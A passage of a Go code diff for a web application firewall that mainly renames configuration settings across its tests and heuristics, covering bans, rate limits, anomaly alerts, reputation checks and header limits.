t.Helper()
|
||||
|
||||
@@ -1742,8 +1734,8 @@ func saveUntilAnswered(
|
||||
}
|
||||
}
|
||||
|
||||
// destination is a stand-in for SWW_WAF_ALERT_SLACK_WEBHOOK_URL or
|
||||
// SWW_WAF_ALERT_NTFY_URL. It notes each request it is sent, and answers
|
||||
// destination is a stand-in for SWW_ALERT_SLACK_WEBHOOK_URL or
|
||||
// SWW_ALERT_NTFY_URL. It notes each request it is sent, and answers
|
||||
// 200.
|
||||
type destination struct {
|
||||
url string
|
||||
@@ -1802,7 +1794,7 @@ func (d *destination) firstPost(t *testing.T) destinationPost {
|
||||
}
|
||||
}
|
||||
|
||||
// webhook is a stand-in for SWW_WAF_ALERT_WEBHOOK_URL. It notes each alert
|
||||
// webhook is a stand-in for SWW_ALERT_WEBHOOK_URL. It notes each alert
|
||||
// it is sent, and answers 204, or 503 while failing.
|
||||
type webhook struct {
|
||||
url string
|
||||
|
||||
@@ -96,7 +96,7 @@ func TestMainRunsWAF(t *testing.T) {
|
||||
listenAddr+"="+localhost+":0",
|
||||
stateDir+"="+dir,
|
||||
cacheDir+"="+dir,
|
||||
ruleFilesDir+"="+t.TempDir(),
|
||||
rulesDir+"="+t.TempDir(),
|
||||
lookupSource+"=off")
|
||||
|
||||
exited := startProcess(t, cmd)
|
||||
@@ -280,7 +280,7 @@ func TestWAFKeepsItsBansAcrossARestartAndNeedsNoApp(t *testing.T) {
|
||||
env := map[string]string{
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: t.TempDir(),
|
||||
ruleFilesDir: filepath.Join("..", "..", "share", "rules.d"),
|
||||
rulesDir: filepath.Join("..", "..", "share", "rules.d"),
|
||||
}
|
||||
|
||||
runWAF(t, env, func(addr string) {
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
package waf
|
||||
|
||||
// The heuristic abuseipdb. It reads SWW_WAF_ABUSEIPDB_KEY,
|
||||
// SWW_WAF_ABUSEIPDB_MIN_SCORE and SWW_WAF_DNSBL_ABUSEIPDB_ACTION.
|
||||
// The heuristic abuseipdb. It reads SWW_ABUSEIPDB_KEY,
|
||||
// SWW_ABUSEIPDB_MIN_SCORE and SWW_REPUTATION_ACTION.
|
||||
|
||||
import (
|
||||
"context"
|
||||
@@ -16,12 +16,12 @@ import (
|
||||
|
||||
// abuseIPDB adds the tag abuseipdb and notes AbuseIPDB, as noteHit does, with
|
||||
// the score, when its score of the client is a hit, and refuses the request
|
||||
// when SWW_WAF_DNSBL_ABUSEIPDB_ACTION is deny, as dnsbl does for a zone. While
|
||||
// SWW_WAF_ABUSEIPDB_KEY is unset it does nothing. A client without a score is
|
||||
// when SWW_REPUTATION_ACTION is deny, as dnsbl does for a zone. While
|
||||
// SWW_ABUSEIPDB_KEY is unset it does nothing. A client without a score is
|
||||
// checked in the background, by the request's address, if its history counts
|
||||
// an offence, and the request does not wait for the answer. The score is then
|
||||
// used for each address of the client. Its figures are the score and
|
||||
// SWW_WAF_ABUSEIPDB_MIN_SCORE.
|
||||
// SWW_ABUSEIPDB_MIN_SCORE.
|
||||
type abuseIPDB struct{}
|
||||
|
||||
func (abuseIPDB) name() string { return "abuseipdb" }
|
||||
@@ -51,10 +51,10 @@ func (abuseIPDB) check(
|
||||
Source: reputation.AbuseIPDBSource,
|
||||
Score: &score,
|
||||
},
|
||||
"scored by AbuseIPDB at or over SWW_WAF_ABUSEIPDB_MIN_SCORE",
|
||||
"scored by AbuseIPDB at or over SWW_ABUSEIPDB_MIN_SCORE",
|
||||
)
|
||||
|
||||
if rq.h.config.DNSBLAbuseIPDBAction != deny {
|
||||
if rq.h.config.ReputationAction != deny {
|
||||
return nil
|
||||
}
|
||||
|
||||
|
||||
@@ -52,7 +52,7 @@ func (rq *request) answerHealth() {
|
||||
|
||||
// answerAdmin answers a request for one of waf's own endpoints. Each
|
||||
// needs a token, sent as Authorization: Bearer <token>: the metrics
|
||||
// SWW_WAF_METRICS_TOKEN, the others SWW_WAF_ADMIN_TOKEN. A request without it is
|
||||
// SWW_METRICS_TOKEN, the others SWW_ADMIN_TOKEN. A request without it is
|
||||
// refused with 401. An endpoint whose token is unset answers 404, as any other
|
||||
// path does.
|
||||
func (rq *request) answerAdmin() {
|
||||
|
||||
@@ -17,8 +17,8 @@ import (
|
||||
)
|
||||
|
||||
const (
|
||||
adminToken = "SWW_WAF_ADMIN_TOKEN" //nolint:gosec // the setting's name
|
||||
// adminSecret is the SWW_WAF_ADMIN_TOKEN the tests set, and adminBearer
|
||||
adminToken = "SWW_ADMIN_TOKEN" //nolint:gosec // the setting's name
|
||||
// adminSecret is the SWW_ADMIN_TOKEN the tests set, and adminBearer
|
||||
// how a request carries it.
|
||||
adminSecret = "fedcba9876543210fedcba9876543210"
|
||||
adminBearer = "Bearer " + adminSecret
|
||||
@@ -423,12 +423,12 @@ func TestAdminEndpointsNeedTheTokenInObserveMode(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// adminEndpoint is a request to an endpoint SWW_WAF_ADMIN_TOKEN opens.
|
||||
// adminEndpoint is a request to an endpoint SWW_ADMIN_TOKEN opens.
|
||||
type adminEndpoint struct {
|
||||
method, path, body string
|
||||
}
|
||||
|
||||
// adminEndpoints returns a request to each endpoint SWW_WAF_ADMIN_TOKEN
|
||||
// adminEndpoints returns a request to each endpoint SWW_ADMIN_TOKEN
|
||||
// opens: listing the bans, banning otherClient for an hour, lifting the
|
||||
// bans on otherClient, and asking about otherClient.
|
||||
func adminEndpoints() []adminEndpoint {
|
||||
|
||||
@@ -15,8 +15,8 @@ import (
|
||||
)
|
||||
|
||||
const (
|
||||
alertWebhookURL = "SWW_WAF_ALERT_WEBHOOK_URL"
|
||||
alertMaxPerHour = "SWW_WAF_ALERT_MAX_PER_HOUR"
|
||||
alertWebhookURL = "SWW_ALERT_WEBHOOK_URL"
|
||||
alertMaxPerHour = "SWW_ALERT_MAX_PER_HOUR"
|
||||
// alertInstance is the instance every alert of these tests gives.
|
||||
alertInstance = "fsn1app1/blog"
|
||||
)
|
||||
@@ -57,7 +57,7 @@ func TestAttackBanRaisesABanAlertThenAPermanentBanAlert(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, server, queue := startWithAlerts(t, map[string]string{
|
||||
ruleFilesDir: writeRules(t, testRules),
|
||||
rulesDir: writeRules(t, testRules),
|
||||
})
|
||||
start := clk.Now()
|
||||
netblock := netip.MustParsePrefix(client + "/32")
|
||||
@@ -121,7 +121,7 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
|
||||
s, clk, server, queue := startWithAlerts(t, map[string]string{
|
||||
mode: observe,
|
||||
rateLimitPerMinute: "2",
|
||||
ruleFilesDir: writeRules(t, testRules),
|
||||
rulesDir: writeRules(t, testRules),
|
||||
})
|
||||
start := clk.Now()
|
||||
|
||||
@@ -209,7 +209,7 @@ func TestObserveModeWorksOutABanOnlyWhenItsAlertWouldBeSent(t *testing.T) {
|
||||
s, _, _, queue := startWithAlerts(t, map[string]string{
|
||||
mode: observe,
|
||||
rateLimitPerMinute: "2",
|
||||
ruleFilesDir: writeRules(t, testRules),
|
||||
rulesDir: writeRules(t, testRules),
|
||||
alertMaxPerHour: "2",
|
||||
})
|
||||
|
||||
|
||||
@@ -19,7 +19,7 @@ func TestWithEveryAnomalyThresholdOffARequestIsNotCounted(t *testing.T) {
|
||||
client: netip.MustParseAddr("203.0.113.9"),
|
||||
lookedUp: true,
|
||||
},
|
||||
h: &handler{config: &config.WAF{LookupSource: "geojs"}},
|
||||
h: &handler{config: &config.Config{LookupSource: "geojs"}},
|
||||
}
|
||||
|
||||
defer func() {
|
||||
|
||||
@@ -21,11 +21,11 @@ import (
|
||||
// The anomaly thresholds: the prefix of a scope followed by the end of a
|
||||
// count.
|
||||
const (
|
||||
anomalyClient = "SWW_WAF_ANOMALY_CLIENT_"
|
||||
anomalyNet = "SWW_WAF_ANOMALY_NET_"
|
||||
anomalyASN = "SWW_WAF_ANOMALY_ASN_"
|
||||
anomalyTotal = "SWW_WAF_ANOMALY_TOTAL_"
|
||||
anomalyWatchedNet = "SWW_WAF_ANOMALY_WATCHED_NET_"
|
||||
anomalyClient = "SWW_ANOMALY_CLIENT_"
|
||||
anomalyNet = "SWW_ANOMALY_NET_"
|
||||
anomalyASN = "SWW_ANOMALY_ASN_"
|
||||
anomalyTotal = "SWW_ANOMALY_TOTAL_"
|
||||
anomalyWatch = "SWW_WATCH_"
|
||||
|
||||
requestsPerMinute = "REQUESTS_PER_MINUTE"
|
||||
requestsPerHour = "REQUESTS_PER_HOUR"
|
||||
@@ -35,9 +35,9 @@ const (
|
||||
|
||||
// The other anomaly settings.
|
||||
const (
|
||||
anomalyNetV4Prefix = "SWW_WAF_ANOMALY_NET_V4_PREFIX"
|
||||
anomalyNetV6Prefix = "SWW_WAF_ANOMALY_NET_V6_PREFIX"
|
||||
watchedNets = "SWW_WAF_ANOMALY_WATCHED_NETS"
|
||||
anomalyNetV4Prefix = "SWW_ANOMALY_NET_V4_PREFIX"
|
||||
anomalyNetV6Prefix = "SWW_ANOMALY_NET_V6_PREFIX"
|
||||
watchNets = "SWW_WATCH_NETS"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -75,7 +75,7 @@ func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(
|
||||
{anomalyASN, anomaly.ScopeASN, netip.Prefix{}, asnDE, map[string]any{"asn": asnDE}},
|
||||
{anomalyTotal, anomaly.ScopeTotal, netip.Prefix{}, "the whole service", nil},
|
||||
{
|
||||
anomalyWatchedNet, anomaly.ScopeWatchedNet, netip.MustParsePrefix(clientsNet),
|
||||
anomalyWatch, anomaly.ScopeWatchedNet, netip.MustParsePrefix(clientsNet),
|
||||
"the named netblock office, " + clientsNet, map[string]any{"name": "office"},
|
||||
},
|
||||
} {
|
||||
@@ -97,7 +97,7 @@ func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(
|
||||
t.Run(setting, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
env := map[string]string{setting: value, watchedNets: office}
|
||||
env := map[string]string{setting: value, watchNets: office}
|
||||
s, clk, server, queue := startWithLookupsAndClock(t, env)
|
||||
start := clk.Now()
|
||||
|
||||
@@ -168,9 +168,9 @@ func TestEveryRequestIsCountedWhateverIsDoneWithIt(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const (
|
||||
allowed = "192.0.2.7" // in SWW_WAF_ALLOW_NETS
|
||||
exempt = "192.0.2.10" // in SWW_WAF_RATE_LIMIT_EXEMPT_NETS
|
||||
denied = "192.0.2.20" // in SWW_WAF_DENY_NETS
|
||||
allowed = "192.0.2.7" // in SWW_ALLOW_NETS
|
||||
exempt = "192.0.2.10" // in SWW_RATE_LIMIT_EXEMPT_NETS
|
||||
denied = "192.0.2.20" // in SWW_DENY_NETS
|
||||
)
|
||||
|
||||
s, _, _, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
|
||||
@@ -219,7 +219,7 @@ func TestThresholdsOffCountNothingAndAlertNothing(t *testing.T) {
|
||||
// With every threshold off, nothing is counted.
|
||||
s, server, queue := startWithLookups(
|
||||
t,
|
||||
map[string]string{watchedNets: office},
|
||||
map[string]string{watchNets: office},
|
||||
)
|
||||
|
||||
for range 5 {
|
||||
@@ -234,7 +234,7 @@ func TestThresholdsOffCountNothingAndAlertNothing(t *testing.T) {
|
||||
|
||||
// With one set, its count alone is counted, in its scope alone.
|
||||
s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{
|
||||
anomalyNet + requestsPerMinute: aLot, watchedNets: office,
|
||||
anomalyNet + requestsPerMinute: aLot, watchNets: office,
|
||||
})
|
||||
|
||||
for range 5 {
|
||||
@@ -348,7 +348,7 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
|
||||
addr, out, started := startProxyWithClock(t, app.URL, geojsURL, clk.Now,
|
||||
map[string]string{
|
||||
trustedProxies: trustLocalhost,
|
||||
asnAndCountryLookupTimeout: "3600000",
|
||||
lookupTimeout: "1h",
|
||||
anomalyASN + requestsPerMinute: aLot,
|
||||
})
|
||||
server.Store(started)
|
||||
@@ -379,8 +379,8 @@ func TestEachNamedNetblockCountsTheClientsInIt(t *testing.T) {
|
||||
t,
|
||||
readAndAnswer,
|
||||
map[string]string{
|
||||
anomalyWatchedNet + requestsPerMinute: aLot,
|
||||
watchedNets: office + ",wide=203.0.0.0/16" +
|
||||
anomalyWatch + requestsPerMinute: aLot,
|
||||
watchNets: office + ",wide=203.0.0.0/16" +
|
||||
",other=198.51.100.0/25",
|
||||
},
|
||||
)
|
||||
|
||||
@@ -29,12 +29,12 @@ import (
|
||||
)
|
||||
|
||||
const (
|
||||
// answerTimeLimit is the default of rproxy's
|
||||
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS, the time waf has to answer.
|
||||
// answerTimeLimit is the default of rproxy's SWRP_TIMEOUT_MS, the time
|
||||
// waf has to answer.
|
||||
answerTimeLimit = 2 * time.Second
|
||||
// defaultLookupWait is the default of SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS.
|
||||
// defaultLookupWait is the default of SWW_LOOKUP_TIMEOUT.
|
||||
defaultLookupWait = 800 * time.Millisecond
|
||||
// defaultReputationWait is the default of SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS.
|
||||
// defaultReputationWait is the default of SWW_REPUTATION_TIMEOUT.
|
||||
defaultReputationWait = 2 * time.Second
|
||||
// The header limits SPEC.md gives.
|
||||
cookieLimit = 50
|
||||
@@ -80,7 +80,7 @@ func TestSixteenThousandCookiesAreRefusedBeforeTheCoreRuleSetReadsThem(
|
||||
) {
|
||||
t.Parallel()
|
||||
|
||||
s := startWAF(t, "", map[string]string{coreRuleSetMode: block})
|
||||
s := startWAF(t, "", map[string]string{wafMode: block})
|
||||
req := s.question(siteA, client, "/")
|
||||
req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
|
||||
|
||||
@@ -160,7 +160,7 @@ func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s := startWAF(t, "", map[string]string{coreRuleSetMode: block})
|
||||
s := startWAF(t, "", map[string]string{wafMode: block})
|
||||
req := s.question(siteA, client, "/")
|
||||
tc.make(req)
|
||||
|
||||
@@ -195,9 +195,9 @@ func TestHeaderLimitsHoldWhateverTheCoreRuleSetSettingsSay(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, env := range []map[string]string{
|
||||
{coreRuleSetMode: off},
|
||||
{coreRuleSetMode: "detect"},
|
||||
{coreRuleSetMode: block, "SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS": "/"},
|
||||
{wafMode: off},
|
||||
{wafMode: "detect"},
|
||||
{wafMode: block, "SWW_WAF_EXEMPT_PATHS": "/"},
|
||||
} {
|
||||
t.Run(fmt.Sprint(env), func(t *testing.T) {
|
||||
t.Parallel()
|
||||
@@ -217,7 +217,7 @@ func TestClientInTheAllowNetsSkipsTheHeaderLimits(t *testing.T) {
|
||||
s := startWAF(
|
||||
t,
|
||||
"",
|
||||
map[string]string{coreRuleSetMode: block, allowNets: client},
|
||||
map[string]string{wafMode: block, allowNets: client},
|
||||
)
|
||||
req := s.question(siteA, client, "/")
|
||||
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
||||
@@ -228,11 +228,7 @@ func TestClientInTheAllowNetsSkipsTheHeaderLimits(t *testing.T) {
|
||||
func TestObserveModeAllowsARequestOverTheHeaderLimitsUnread(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s := startWAF(
|
||||
t,
|
||||
"",
|
||||
map[string]string{mode: observe, coreRuleSetMode: block},
|
||||
)
|
||||
s := startWAF(t, "", map[string]string{mode: observe, wafMode: block})
|
||||
req := s.question(siteA, client, "/")
|
||||
req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
|
||||
|
||||
@@ -287,7 +283,7 @@ func TestTheHeaderLimitsComeBeforeEveryCheckThatRefuses(t *testing.T) {
|
||||
// prepare gets the server ready, at now, before the question.
|
||||
prepare func(t *testing.T, server *waf.Server, now time.Time)
|
||||
}{
|
||||
{"SWW_WAF_DENY_NETS", map[string]string{denyNets: client}, "/", leaveAsItIs},
|
||||
{"SWW_DENY_NETS", map[string]string{denyNets: client}, "/", leaveAsItIs},
|
||||
{"a ban", nil, "/", banClient},
|
||||
{
|
||||
"the country list", map[string]string{
|
||||
@@ -302,7 +298,7 @@ func TestTheHeaderLimitsComeBeforeEveryCheckThatRefuses(t *testing.T) {
|
||||
},
|
||||
{
|
||||
"a DNS blocklist", map[string]string{
|
||||
dnsblZones: dnsblZone, dnsblResolver: noResolver, dnsblAbuseIPDBAction: actionDeny,
|
||||
dnsblZones: dnsblZone, dnsblResolver: noResolver, reputationAction: actionDeny,
|
||||
},
|
||||
"/", func(_ *testing.T, server *waf.Server, _ time.Time) {
|
||||
loadVerdicts(server, map[string][]string{client: {dnsblZone}})
|
||||
@@ -310,14 +306,14 @@ func TestTheHeaderLimitsComeBeforeEveryCheckThatRefuses(t *testing.T) {
|
||||
},
|
||||
{
|
||||
"AbuseIPDB",
|
||||
map[string]string{abuseIPDBKey: accountKey, dnsblAbuseIPDBAction: actionDeny},
|
||||
map[string]string{abuseIPDBKey: accountKey, reputationAction: actionDeny},
|
||||
"/", func(_ *testing.T, server *waf.Server, _ time.Time) {
|
||||
// Over SWW_WAF_ABUSEIPDB_MIN_SCORE, 75 by default.
|
||||
// Over SWW_ABUSEIPDB_MIN_SCORE, 75 by default.
|
||||
loadScores(server, map[string]int64{client: 80})
|
||||
},
|
||||
},
|
||||
{
|
||||
"SWW_WAF_TAG_DENY", map[string]string{tagLists: "vpn=" + vpnList, tagDeny: "vpn"},
|
||||
"SWW_TAG_DENY", map[string]string{tagLists: "vpn=" + vpnList, tagDeny: "vpn"},
|
||||
"/", func(t *testing.T, server *waf.Server, _ time.Time) {
|
||||
t.Helper()
|
||||
loadLists(t, server, map[string][]string{vpnList: {client}})
|
||||
@@ -329,9 +325,7 @@ func TestTheHeaderLimitsComeBeforeEveryCheckThatRefuses(t *testing.T) {
|
||||
leaveAsItIs,
|
||||
},
|
||||
{
|
||||
"a block rule",
|
||||
map[string]string{ruleFilesDir: writeRules(t, testRules)},
|
||||
"/blocked",
|
||||
"a block rule", map[string]string{rulesDir: writeRules(t, testRules)}, "/blocked",
|
||||
leaveAsItIs,
|
||||
},
|
||||
} {
|
||||
@@ -372,9 +366,9 @@ func TestARequestOverTheHeaderLimitsRunsNoOtherCheck(t *testing.T) {
|
||||
t,
|
||||
map[string]standInRoute{client: {prefixDE, 64496}},
|
||||
),
|
||||
dnsblZones: dnsblZone, dnsblAbuseIPDBAction: actionLog,
|
||||
ruleFilesDir: writeRules(t, "noted path log ^/\n"),
|
||||
coreRuleSetMode: block,
|
||||
dnsblZones: dnsblZone, reputationAction: actionLog,
|
||||
rulesDir: writeRules(t, "noted path log ^/\n"),
|
||||
wafMode: block,
|
||||
})
|
||||
loadLists(t, s.server, map[string][]string{vpnList: {client}})
|
||||
loadVerdicts(s.server, map[string][]string{client: {dnsblZone}})
|
||||
@@ -432,9 +426,7 @@ func TestNotWaitingForGeoJSNeverLowersAClientsLimit(t *testing.T) {
|
||||
// not wait.
|
||||
geojsURL, _ := startGeoJS(t)
|
||||
s := startWAF(t, geojsURL, map[string]string{
|
||||
unknownCountryLimitPercent: "0",
|
||||
asnAndCountryLookupTimeout: "3600000",
|
||||
rateLimitPerMinute: "1",
|
||||
unknownLimitPercent: "0", lookupTimeout: "1h", rateLimitPerMinute: "1",
|
||||
})
|
||||
countClient(t, s.server, s.clock.Now())
|
||||
|
||||
@@ -467,7 +459,7 @@ func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting(
|
||||
// not wait.
|
||||
geojsURL, _ := startGeoJS(t)
|
||||
s := startWAF(t, geojsURL, map[string]string{
|
||||
unknownCountryLimitPercent: "0", rateLimitPerMinute: "1",
|
||||
unknownLimitPercent: "0", rateLimitPerMinute: "1",
|
||||
})
|
||||
s.server.GeoJS.Load([]lookup.Answer{{
|
||||
Client: netip.MustParsePrefix(client + "/32"), ASN: "AS64512",
|
||||
@@ -502,7 +494,7 @@ func TestObserveModeAsksGeoJSNothingForARequestOverTheHeaderLimits(
|
||||
|
||||
geojsURL, asked := startGeoJS(t)
|
||||
s := startWAF(t, geojsURL, map[string]string{
|
||||
mode: observe, addLookupHeaders: on, asnAndCountryLookupTimeout: "3600000",
|
||||
mode: observe, addLookupHeaders: on, lookupTimeout: "1h",
|
||||
})
|
||||
req := s.question(siteA, fromDE, "/")
|
||||
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
||||
@@ -617,7 +609,7 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
|
||||
action string
|
||||
}{
|
||||
{
|
||||
name: "SWW_WAF_DENY_NETS", env: map[string]string{denyNets: client},
|
||||
name: "SWW_DENY_NETS", env: map[string]string{denyNets: client},
|
||||
prepare: leaveAsItIs, status: forbidden, action: requestlog.ActionClientDenied,
|
||||
},
|
||||
{
|
||||
@@ -631,9 +623,7 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
|
||||
},
|
||||
{
|
||||
name: "the rate limits, with a biased threshold",
|
||||
env: map[string]string{
|
||||
rateLimitPerMinute: "1", unknownCountryLimitPercent: "50",
|
||||
},
|
||||
env: map[string]string{rateLimitPerMinute: "1", unknownLimitPercent: "50"},
|
||||
prepare: countClient, status: forbidden,
|
||||
action: requestlog.ActionClientIsRateLimited,
|
||||
},
|
||||
@@ -656,9 +646,8 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// In a synctest bubble, as
|
||||
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says,
|
||||
// so that a request that does not wait takes no time at all.
|
||||
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
|
||||
// says, so that a request that does not wait takes no time at all.
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
server, out := newWAFInBubble(t, tc.env)
|
||||
tc.prepare(t, server, time.Now())
|
||||
@@ -770,7 +759,7 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
|
||||
|
||||
return waf.New(params)
|
||||
}, silentGeoJSURL, time.Now, map[string]string{
|
||||
tagDeny: "country=KP", coreRuleSetMode: block,
|
||||
tagDeny: "country=KP", wafMode: block,
|
||||
dnsblZones: dnsblZone, dnsblResolver: resolver,
|
||||
abuseIPDBKey: accountKey,
|
||||
blocklistURLs: held + "/drop.txt", asnLimitPercentURL: held + "/asn.txt",
|
||||
@@ -781,8 +770,7 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
|
||||
// network inside it would keep its clock from moving on.
|
||||
go server.Lists.Run(t.Context())
|
||||
|
||||
// In the bubble, as
|
||||
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says, the
|
||||
// In the bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays says, the
|
||||
// answer takes exactly as long as waf waits, however busy the host is.
|
||||
// GeoJS and AbuseIPDB never answer there, without the network. The query to
|
||||
// the DNS blocklist waits on the network, which stops the bubble's clock,
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
package waf
|
||||
|
||||
// The heuristic active_ban, and the code that makes bans, which several
|
||||
// heuristics share. active_ban reads SWW_WAF_MODE; the bans are the ban ledger's.
|
||||
// heuristics share. active_ban reads SWW_MODE; the bans are the ban ledger's.
|
||||
|
||||
import (
|
||||
"context"
|
||||
@@ -15,7 +15,7 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// banResponse is a refusal answered with SWW_WAF_BAN_RESPONSE, and logged
|
||||
// banResponse is a refusal answered with SWW_BAN_RESPONSE, and logged
|
||||
// with action.
|
||||
func (rq *request) banResponse(action string) *refusal {
|
||||
return &refusal{status: rq.h.config.BanResponse, action: action}
|
||||
@@ -81,11 +81,11 @@ func limitFigures(hit ratelimit.Hit) map[string]any {
|
||||
|
||||
// countedBytes returns the request's bytes, once it has ended, as the
|
||||
// byte limits and the anomaly thresholds count them: the response's body
|
||||
// bytes, the request's, or both, as SWW_WAF_BYTES_COUNTED says.
|
||||
// bytes, the request's, or both, as SWW_BYTES_COUNT says.
|
||||
func (rq *request) countedBytes() int64 {
|
||||
response, request := rq.out.bytes, rq.requestBytes
|
||||
|
||||
switch rq.h.config.BytesCounted {
|
||||
switch rq.h.config.BytesCount {
|
||||
case "response":
|
||||
return response
|
||||
case "request":
|
||||
@@ -98,10 +98,10 @@ func (rq *request) countedBytes() int64 {
|
||||
// banForLimit bans the client's netblock at now for a broken limit, the
|
||||
// one hit names, notes the offence for the log line and counts the hit in
|
||||
// the metrics. status is what the client was sent, or is sent:
|
||||
// SWW_WAF_BAN_RESPONSE for a request over a rate limit, what the report says for
|
||||
// SWW_BAN_RESPONSE for a request over a rate limit, what the report says for
|
||||
// one whose bytes broke a byte limit, the refusal for one that broke the
|
||||
// refusal limit. The ban's notes give the client's limit percentage for a
|
||||
// rate limit or a byte limit; the refusal limit is not lowered. The ban sets
|
||||
// error burst. The ban's notes give the client's limit percentage for a
|
||||
// rate limit or a byte limit; the error burst is not lowered. The ban sets
|
||||
// the client's counters back to zero. In observe mode it makes no ban and
|
||||
// sets nothing back, and raises the alert for the ban it would have made,
|
||||
// if that alert would be sent.
|
||||
@@ -260,7 +260,7 @@ func (rq *request) banForCrowdSec(
|
||||
// wouldAlertBan reports whether the alert for a ban on netblock for cause
|
||||
// made at now would be sent. In observe mode the ban the request would
|
||||
// have made is worked out only then, at most once per
|
||||
// SWW_WAF_ALERT_COOLDOWN and never with no webhook set: its notes count the
|
||||
// SWW_ALERT_COOLDOWN and never with no webhook set: its notes count the
|
||||
// netblock's requests, which can mean going through every client.
|
||||
func (rq *request) wouldAlertBan(
|
||||
netblock netip.Prefix, now time.Time, cause string,
|
||||
@@ -326,7 +326,7 @@ func (rq *request) netblockRequests(netblock netip.Prefix) int64 {
|
||||
}
|
||||
|
||||
// netblock is the netblock a ban on client covers: its IPv4 address,
|
||||
// widened to SWW_WAF_BAN_SCOPE_V4_PREFIX, or the IPv6 group clientGroup
|
||||
// widened to SWW_BAN_SCOPE_V4_PREFIX, or the IPv6 group clientGroup
|
||||
// counts it in.
|
||||
func (h *handler) netblock(client netip.Addr) netip.Prefix {
|
||||
addr := client.Unmap()
|
||||
|
||||
+15
-15
@@ -26,7 +26,7 @@ const (
|
||||
userAgent = "ban-test/1.0"
|
||||
// permanent is the log line's ban_expires for a permanent ban.
|
||||
permanent = "permanent"
|
||||
// banResponseClose is the SWW_WAF_BAN_RESPONSE that closes the connection.
|
||||
// banResponseClose is the SWW_BAN_RESPONSE that closes the connection.
|
||||
banResponseClose = "close"
|
||||
)
|
||||
|
||||
@@ -93,7 +93,7 @@ func TestBanLengthsFollowTheSettings(t *testing.T) {
|
||||
rateLimitPerMinute: "1",
|
||||
limitBanDuration: "10m",
|
||||
limitBanRepeatWindow: "1h",
|
||||
limitBanPermanentAbove: "1h",
|
||||
maxBanDuration: "1h",
|
||||
})
|
||||
|
||||
// breakLimit has client go over the limit of one a minute, and
|
||||
@@ -118,19 +118,19 @@ func TestBanLengthsFollowTheSettings(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// A first ban lasts SWW_WAF_LIMIT_BAN_DURATION; one within
|
||||
// SWW_WAF_LIMIT_BAN_REPEAT_WINDOW after it ended, three times as long.
|
||||
// A first ban lasts SWW_LIMIT_BAN_DURATION; one within
|
||||
// SWW_LIMIT_BAN_REPEAT_WINDOW after it ended, three times as long.
|
||||
wantExpires(breakLimit(), 10*time.Minute)
|
||||
clk.advance(10*time.Minute + time.Hour)
|
||||
wantExpires(breakLimit(), 30*time.Minute)
|
||||
|
||||
// Later than that, SWW_WAF_LIMIT_BAN_DURATION again.
|
||||
// Later than that, SWW_LIMIT_BAN_DURATION again.
|
||||
clk.advance(30*time.Minute + time.Hour + time.Second)
|
||||
wantExpires(breakLimit(), 10*time.Minute)
|
||||
clk.advance(10 * time.Minute)
|
||||
wantExpires(breakLimit(), 30*time.Minute)
|
||||
|
||||
// 90 minutes would be longer than SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE: the ban is
|
||||
// 90 minutes would be longer than SWW_MAX_BAN_DURATION: the ban is
|
||||
// permanent.
|
||||
clk.advance(30 * time.Minute)
|
||||
|
||||
@@ -188,8 +188,8 @@ func TestBanCoversTheClientsNetblock(t *testing.T) {
|
||||
|
||||
// In the IPv4 cases, client breaks the limit; these two are next to it.
|
||||
const (
|
||||
allowed = "203.0.113.60" // in SWW_WAF_ALLOW_NETS
|
||||
exempt = "203.0.113.50" // in SWW_WAF_RATE_LIMIT_EXEMPT_NETS
|
||||
allowed = "203.0.113.60" // in SWW_ALLOW_NETS
|
||||
exempt = "203.0.113.50" // in SWW_RATE_LIMIT_EXEMPT_NETS
|
||||
)
|
||||
|
||||
for _, tc := range []struct {
|
||||
@@ -204,7 +204,7 @@ func TestBanCoversTheClientsNetblock(t *testing.T) {
|
||||
nil, []string{otherClient, exempt},
|
||||
},
|
||||
{
|
||||
"the IPv4 netblock SWW_WAF_BAN_SCOPE_V4_PREFIX sets",
|
||||
"the IPv4 netblock SWW_BAN_SCOPE_V4_PREFIX sets",
|
||||
